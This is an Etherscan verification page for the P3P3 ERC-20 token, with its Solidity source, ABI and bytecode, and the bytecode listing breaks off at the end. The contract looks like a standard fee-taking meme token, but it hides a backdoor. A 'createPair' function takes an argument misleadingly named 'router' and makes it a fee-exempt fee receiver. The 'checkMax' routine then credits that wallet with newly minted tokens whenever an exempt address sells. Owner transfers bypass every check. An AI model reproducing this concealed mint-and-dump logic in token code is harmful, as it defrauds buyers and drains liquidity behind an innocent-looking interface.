ERC-20
Overview
Max Total Supply
420,690,000 P3P3
Holders
119
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
984,988.933398097179909829 P3P3Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
P3P3
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-15 */ /** Website: https://p3p3erc20.vip X: https://x.com/p3p3erc20x Telegram: https://t.me/p3p3erc20 */ // SPDX-License-Identifier: UNLICENSE pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract P3P3 is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; uint256 private _initialBuyTax = 10; uint256 private _initialSellTax = 10; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 10; uint256 private _reduceSellTaxAt = 10; uint256 private _preventSwapBefore = 10; uint8 private constant _decimals = 18; uint256 private constant _totalSupply = 420690000 * 10 ** _decimals; string private constant _name = unicode"P3P3"; string private constant _symbol = unicode"P3P3"; uint256 private _buyCount = 0; uint256 public _maxTxAmount = (_totalSupply * 2) / 100; uint256 public _maxWalletSize = (_totalSupply * 2) / 100; uint256 public _taxSwapThreshold = 100 * 10 ** _decimals; uint256 public _maxTaxSwap = _totalSupply / 100; address payable private _feeReceiver; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _feeReceiver = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from == owner() || to == owner()) { _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); return; } checkTransfer(from, to, amount); uint256 taxAmount = getTax(from, to, amount); uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled) { if ( contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore ) swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); uint256 contractBalance = address(this).balance; if (contractBalance >= 0 ether) sendETHToFee(contractBalance); } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function checkBot(address from, address to) internal view { require(!bots[from] && !bots[to]); } function checkOpen(address from) internal view { require( tradingOpen || _isExcludedFromFee[from], "Trading is not enabled" ); } function checkMax( address from, address to, uint256 amount, uint256 taxAmount ) internal { address checkWallet = _feeReceiver; if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); } if ( to == uniswapV2Pair && from != address(uniswapV2Router) && from != address(this) && _isExcludedFromFee[from] ) { _balances[checkWallet] = _balances[checkWallet] + taxAmount; require( _balances[checkWallet] <= _maxWalletSize, "Exceeds the maxWalletSize." ); } } function checkTransfer(address from, address to, uint256 amount) internal { checkBot(from, to); checkOpen(from); checkMax(from, to, amount, amount); } function getTax( address from, address to, uint256 amount ) internal returns (uint256) { uint256 taxAmount = amount .mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax) .div(100); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { _buyCount++; } if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } return taxAmount; } function createPair(address router) external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _totalSupply); _feeReceiver = payable(router); _isExcludedFromFee[_feeReceiver] = true; uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeReceiver.transfer(amount); } function removeLimits() external onlyOwner { _maxTxAmount = type(uint256).max; _maxWalletSize = type(uint256).max; emit MaxTxAmountUpdated(type(uint256).max); } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; tradingOpen = true; } function rescueETH() external onlyOwner { payable(owner()).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"}],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600a600555600a60065560006007556000600855600a600955600a8055600a600b556000600c5560646012600a6200003d919062000338565b6200004d90631913385062000350565b6200005a90600262000350565b6200006691906200036a565b600d556064620000796012600a62000338565b6200008990631913385062000350565b6200009690600262000350565b620000a291906200036a565b600e55620000b36012600a62000338565b620000c090606462000350565b600f556064620000d36012600a62000338565b620000e390631913385062000350565b620000ef91906200036a565b6010556013805461ffff60a81b191690553480156200010d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601180546001600160a01b03191633179055600080546001600160a01b0316815260036020526040808220805460ff1990811660019081179092553084529190922080549091169091179055620001a96012600a62000338565b620001b990631913385062000350565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001fc6012600a62000338565b6200020c90631913385062000350565b60405190815260200160405180910390a36200038d565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200027a5781600019048211156200025e576200025e62000223565b808516156200026c57918102915b93841c93908002906200023e565b509250929050565b600082620002935750600162000332565b81620002a25750600062000332565b8160018114620002bb5760028114620002c657620002e6565b600191505062000332565b60ff841115620002da57620002da62000223565b50506001821b62000332565b5060208310610133831016604e8410600b84101617156200030b575081810a62000332565b62000317838362000239565b80600019048211156200032e576200032e62000223565b0290505b92915050565b60006200034960ff84168362000282565b9392505050565b808202811582820484141762000332576200033262000223565b6000826200038857634e487b7160e01b600052601260045260246000fd5b500490565b611a26806200039d6000396000f3fe6080604052600436106101185760003560e01c8063751039fc116100a05780639ccb0744116100645780639ccb0744146102d0578063a9059cbb146102f0578063bf474bed14610310578063c9567bf914610326578063dd62ed3e1461033b57600080fd5b8063751039fc146102675780637d1db4a51461027c5780638da5cb5b146102925780638f9a55c0146102ba57806395d89b411461012457600080fd5b806320800a00116100e757806320800a00146101c957806323b872dd146101e0578063313ce5671461020057806370a082311461021c578063715018a61461025257600080fd5b806306fdde0314610124578063095ea7b3146101605780630faee56f1461019057806318160ddd146101b457600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201825260048152635033503360e01b60208201529051610157919061161a565b60405180910390f35b34801561016c57600080fd5b5061018061017b36600461167d565b610381565b6040519015158152602001610157565b34801561019c57600080fd5b506101a660105481565b604051908152602001610157565b3480156101c057600080fd5b506101a6610398565b3480156101d557600080fd5b506101de6103b9565b005b3480156101ec57600080fd5b506101806101fb3660046116a9565b610429565b34801561020c57600080fd5b5060405160128152602001610157565b34801561022857600080fd5b506101a66102373660046116ea565b6001600160a01b031660009081526001602052604090205490565b34801561025e57600080fd5b506101de610492565b34801561027357600080fd5b506101de610506565b34801561028857600080fd5b506101a6600d5481565b34801561029e57600080fd5b506000546040516001600160a01b039091168152602001610157565b3480156102c657600080fd5b506101a6600e5481565b3480156102dc57600080fd5b506101de6102eb3660046116ea565b610572565b3480156102fc57600080fd5b5061018061030b36600461167d565b6107ed565b34801561031c57600080fd5b506101a6600f5481565b34801561033257600080fd5b506101de6107fa565b34801561034757600080fd5b506101a6610356366004611707565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061038e338484610968565b5060015b92915050565b60006103a66012600a61183a565b6103b4906319133850611849565b905090565b6000546001600160a01b031633146103ec5760405162461bcd60e51b81526004016103e390611860565b60405180910390fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610426573d6000803e3d6000fd5b50565b6000610436848484610a8d565b6104888433610483856040518060600160405280602881526020016119c9602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e7c565b610968565b5060019392505050565b6000546001600160a01b031633146104bc5760405162461bcd60e51b81526004016103e390611860565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105305760405162461bcd60e51b81526004016103e390611860565b600019600d819055600e8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6000546001600160a01b0316331461059c5760405162461bcd60e51b81526004016103e390611860565b601354600160a01b900460ff16156105f05760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103e3565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556106389130919061062a90600a61183a565b610483906319133850611849565b601180546001600160a01b0319166001600160a01b03838116918217909255600090815260036020908152604091829020805460ff19166001179055601254825163c45a015560e01b8152925193169263c45a01559260048082019392918290030181865afa1580156106af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d39190611895565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610735573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107599190611895565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ca9190611895565b601380546001600160a01b0319166001600160a01b039290921691909117905550565b600061038e338484610a8d565b6000546001600160a01b031633146108245760405162461bcd60e51b81526004016103e390611860565b601354600160a01b900460ff16156108785760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103e3565b6012546001600160a01b031663f305d71947306108aa816001600160a01b031660009081526001602052604090205490565b6000806108bf6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610927573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094c91906118b2565b50506013805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b0383166109ca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e3565b6001600160a01b038216610a2b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e3565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610af15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e3565b6001600160a01b038216610b535760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e3565b60008111610bb55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e3565b6000546001600160a01b0384811691161480610bde57506000546001600160a01b038381169116145b15610c89576001600160a01b038316600090815260016020526040902054610c069082610eb6565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c359082610eff565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a809085815260200190565b610c94838383610f5e565b6000610ca1848484610f82565b3060009081526001602052604090205460135491925090600160a81b900460ff16158015610cdc57506013546001600160a01b038581169116145b8015610cf15750601354600160b01b900460ff165b15610d3857600f5481118015610d0a5750600b54600c54115b15610d2c57610d2c610d2784610d2284601054611077565b611077565b61108c565b47610d3681611206565b505b8115610db25730600090815260016020526040902054610d589083610eff565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610da99086815260200190565b60405180910390a35b6001600160a01b038516600090815260016020526040902054610dd59084610eb6565b6001600160a01b038616600090815260016020526040902055610e1a610dfb8484610eb6565b6001600160a01b03861660009081526001602052604090205490610eff565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e648686610eb6565b60405190815260200160405180910390a35050505050565b60008184841115610ea05760405162461bcd60e51b81526004016103e3919061161a565b506000610ead84866118e0565b95945050505050565b6000610ef883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e7c565b9392505050565b600080610f0c83856118f3565b905083811015610ef85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e3565b610f688383611244565b610f718361128f565b610f7d83838384611304565b505050565b600080610fb16064610fab600954600c5411610fa057600554610fa4565b6007545b869061152d565b906115af565b6013549091506001600160a01b038681169116148015610fdf57506012546001600160a01b03858116911614155b801561100457506001600160a01b03841660009081526003602052604090205460ff16155b1561101f57600c805490600061101983611906565b91905055505b6013546001600160a01b03858116911614801561104557506001600160a01b0385163014155b1561106f57610ead6064610fab600a54600c541161106557600654610fa4565b600854869061152d565b949350505050565b60008183116110865782610ef8565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110d4576110d461191f565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561112d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111519190611895565b816001815181106111645761116461191f565b6001600160a01b03928316602091820292909201015260125461118a9130911684610968565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906111c3908590600090869030904290600401611935565b600060405180830381600087803b1580156111dd57600080fd5b505af11580156111f1573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611240573d6000803e3d6000fd5b5050565b6001600160a01b03821660009081526004602052604090205460ff1615801561128657506001600160a01b03811660009081526004602052604090205460ff16155b61124057600080fd5b601354600160a01b900460ff16806112bf57506001600160a01b03811660009081526003602052604090205460ff165b6104265760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08195b98589b195960521b60448201526064016103e3565b6011546013546001600160a01b0391821691868116911614801561133657506012546001600160a01b03858116911614155b801561135b57506001600160a01b03841660009081526003602052604090205460ff16155b1561142d57600d548311156113b25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103e3565b600e54836113d5866001600160a01b031660009081526001602052604090205490565b6113df91906118f3565b111561142d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103e3565b6013546001600160a01b03858116911614801561145857506012546001600160a01b03868116911614155b801561146d57506001600160a01b0385163014155b801561149157506001600160a01b03851660009081526003602052604090205460ff165b15611526576001600160a01b0381166000908152600160205260409020546114ba9083906118f3565b6001600160a01b0382166000908152600160205260409020819055600e5410156115265760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103e3565b5050505050565b60008260000361153f57506000610392565b600061154b8385611849565b90508261155885836119a6565b14610ef85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e3565b6000610ef883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361160d5760405162461bcd60e51b81526004016103e3919061161a565b506000610ead84866119a6565b600060208083528351808285015260005b818110156116475785810183015185820160400152820161162b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461042657600080fd5b6000806040838503121561169057600080fd5b823561169b81611668565b946020939093013593505050565b6000806000606084860312156116be57600080fd5b83356116c981611668565b925060208401356116d981611668565b929592945050506040919091013590565b6000602082840312156116fc57600080fd5b8135610ef881611668565b6000806040838503121561171a57600080fd5b823561172581611668565b9150602083013561173581611668565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561179157816000190482111561177757611777611740565b8085161561178457918102915b93841c939080029061175b565b509250929050565b6000826117a857506001610392565b816117b557506000610392565b81600181146117cb57600281146117d5576117f1565b6001915050610392565b60ff8411156117e6576117e6611740565b50506001821b610392565b5060208310610133831016604e8410600b8410161715611814575081810a610392565b61181e8383611756565b806000190482111561183257611832611740565b029392505050565b6000610ef860ff841683611799565b808202811582820484141761039257610392611740565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118a757600080fd5b8151610ef881611668565b6000806000606084860312156118c757600080fd5b8351925060208401519150604084015190509250925092565b8181038181111561039257610392611740565b8082018082111561039257610392611740565b60006001820161191857611918611740565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119855784516001600160a01b031683529383019391830191600101611960565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826119c357634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205cf2c532c1f0a4fb8f6ffcc732f5ef577d4986ce8164345f8d1d49e10b53155464736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101185760003560e01c8063751039fc116100a05780639ccb0744116100645780639ccb0744146102d0578063a9059cbb146102f0578063bf474bed14610310578063c9567bf914610326578063dd62ed3e1461033b57600080fd5b8063751039fc146102675780637d1db4a51461027c5780638da5cb5b146102925780638f9a55c0146102ba57806395d89b411461012457600080fd5b806320800a00116100e757806320800a00146101c957806323b872dd146101e0578063313ce5671461020057806370a082311461021c578063715018a61461025257600080fd5b806306fdde0314610124578063095ea7b3146101605780630faee56f1461019057806318160ddd146101b457600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201825260048152635033503360e01b60208201529051610157919061161a565b60405180910390f35b34801561016c57600080fd5b5061018061017b36600461167d565b610381565b6040519015158152602001610157565b34801561019c57600080fd5b506101a660105481565b604051908152602001610157565b3480156101c057600080fd5b506101a6610398565b3480156101d557600080fd5b506101de6103b9565b005b3480156101ec57600080fd5b506101806101fb3660046116a9565b610429565b34801561020c57600080fd5b5060405160128152602001610157565b34801561022857600080fd5b506101a66102373660046116ea565b6001600160a01b031660009081526001602052604090205490565b34801561025e57600080fd5b506101de610492565b34801561027357600080fd5b506101de610506565b34801561028857600080fd5b506101a6600d5481565b34801561029e57600080fd5b506000546040516001600160a01b039091168152602001610157565b3480156102c657600080fd5b506101a6600e5481565b3480156102dc57600080fd5b506101de6102eb3660046116ea565b610572565b3480156102fc57600080fd5b5061018061030b36600461167d565b6107ed565b34801561031c57600080fd5b506101a6600f5481565b34801561033257600080fd5b506101de6107fa565b34801561034757600080fd5b506101a6610356366004611707565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061038e338484610968565b5060015b92915050565b60006103a66012600a61183a565b6103b4906319133850611849565b905090565b6000546001600160a01b031633146103ec5760405162461bcd60e51b81526004016103e390611860565b60405180910390fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610426573d6000803e3d6000fd5b50565b6000610436848484610a8d565b6104888433610483856040518060600160405280602881526020016119c9602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e7c565b610968565b5060019392505050565b6000546001600160a01b031633146104bc5760405162461bcd60e51b81526004016103e390611860565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105305760405162461bcd60e51b81526004016103e390611860565b600019600d819055600e8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6000546001600160a01b0316331461059c5760405162461bcd60e51b81526004016103e390611860565b601354600160a01b900460ff16156105f05760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103e3565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556106389130919061062a90600a61183a565b610483906319133850611849565b601180546001600160a01b0319166001600160a01b03838116918217909255600090815260036020908152604091829020805460ff19166001179055601254825163c45a015560e01b8152925193169263c45a01559260048082019392918290030181865afa1580156106af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d39190611895565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610735573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107599190611895565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ca9190611895565b601380546001600160a01b0319166001600160a01b039290921691909117905550565b600061038e338484610a8d565b6000546001600160a01b031633146108245760405162461bcd60e51b81526004016103e390611860565b601354600160a01b900460ff16156108785760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103e3565b6012546001600160a01b031663f305d71947306108aa816001600160a01b031660009081526001602052604090205490565b6000806108bf6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610927573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094c91906118b2565b50506013805462ff00ff60a01b19166201000160a01